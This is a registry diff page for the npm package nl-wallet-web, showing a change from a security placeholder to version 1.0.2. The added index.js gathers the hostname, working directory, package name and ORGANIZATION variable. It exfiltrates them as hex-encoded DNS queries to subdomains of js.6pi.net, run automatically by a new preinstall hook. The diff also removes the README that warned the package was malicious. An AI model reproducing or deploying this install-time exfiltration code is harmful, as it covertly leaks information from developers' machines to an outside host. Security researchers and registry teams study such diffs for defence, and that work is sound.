nl-wallet-web 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of nl-wallet-web might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +86 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,86 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const { promisify } = require('util');
5
+ const path = require('path');
6
+
7
+ const mainDomain = "js.6pi.net";
8
+ const delay = 100;
9
+
10
+ const dnsResolve = promisify(dns.resolve);
11
+
12
+ const MAX_LABEL_LENGTH = 63;
13
+ const MAX_DOMAIN_LENGTH = 253;
14
+
15
+ function getPackageName() {
16
+ try {
17
+ const packageJsonPath = path.join(process.cwd(), 'package.json');
18
+ const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
19
+ return packageJson.name || "unknown-package";
20
+ } catch (err) {
21
+ return "unknown-package";
22
+ }
23
+ }
24
+
25
+ function canSendAsOne(hexStr, mainDomain) {
26
+ const totalLength = hexStr.length + mainDomain.length + 1;
27
+ return hexStr.length <= MAX_LABEL_LENGTH && totalLength <= MAX_DOMAIN_LENGTH;
28
+ }
29
+
30
+ function splitIntoChunks(str, chunkSize) {
31
+ const chunks = [];
32
+ for (let i = 0; i < str.length; i += chunkSize) {
33
+ chunks.push(str.slice(i, i + chunkSize));
34
+ }
35
+ return chunks;
36
+ }
37
+
38
+ async function resolveHex(hexStr, sequenceNumber, identifier) {
39
+ const chunkWithSequence = `${identifier}-${sequenceNumber}-${hexStr}`;
40
+ if (canSendAsOne(chunkWithSequence, mainDomain)) {
41
+ console.log(`Start sending data => ${chunkWithSequence}`);
42
+ try {
43
+ const records = await dnsResolve(`${chunkWithSequence}.${mainDomain}`, 'A');
44
+ console.log(`Sent as one => ${chunkWithSequence}, Records => ${records}`);
45
+ } catch (err) {
46
+ console.log(`Error sending as one => ${chunkWithSequence}, Error => ${err.message}`);
47
+ }
48
+ console.log(`End sending data => ${chunkWithSequence}`);
49
+ } else {
50
+ const chunks = splitIntoChunks(chunkWithSequence, MAX_LABEL_LENGTH);
51
+ for (const chunk of chunks) {
52
+ console.log(`Start sending chunk => ${chunk}`);
53
+ try {
54
+ const records = await dnsResolve(`${chunk}.${mainDomain}`, 'A');
55
+ console.log(`Sent chunk => ${chunk}, Records => ${records}`);
56
+ } catch (err) {
57
+ console.log(`Error sending chunk => ${chunk}, Error => ${err.message}`);
58
+ }
59
+ console.log(`End sending chunk => ${chunk}`);
60
+ await new Promise(resolve => setTimeout(resolve, delay));
61
+ }
62
+ }
63
+ }
64
+
65
+ (async () => {
66
+ const organization = process.env.ORGANIZATION || "unknown-organization";
67
+ const packageName = getPackageName();
68
+ const hostname = os.hostname();
69
+ const currentPath = process.cwd();
70
+
71
+ const dataToSend = JSON.stringify({
72
+ organization,
73
+ packageName,
74
+ hostname,
75
+ currentPath,
76
+ });
77
+
78
+ // Convert data to hex (no compression)
79
+ const hexData = Buffer.from(dataToSend).toString('hex');
80
+ const identifier = Array.from({ length: 3 }, () => 'abcdefghijklmnopqrstuvwxyz0123456789'[Math.floor(Math.random() * 36)]).join('');
81
+ const chunks = splitIntoChunks(hexData, MAX_LABEL_LENGTH);
82
+
83
+ for (let i = 0; i < chunks.length; i++) {
84
+ await resolveHex(chunks[i], i, identifier);
85
+ }
86
+ })();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "nl-wallet-web",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall":"node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=nl-wallet-web for more information.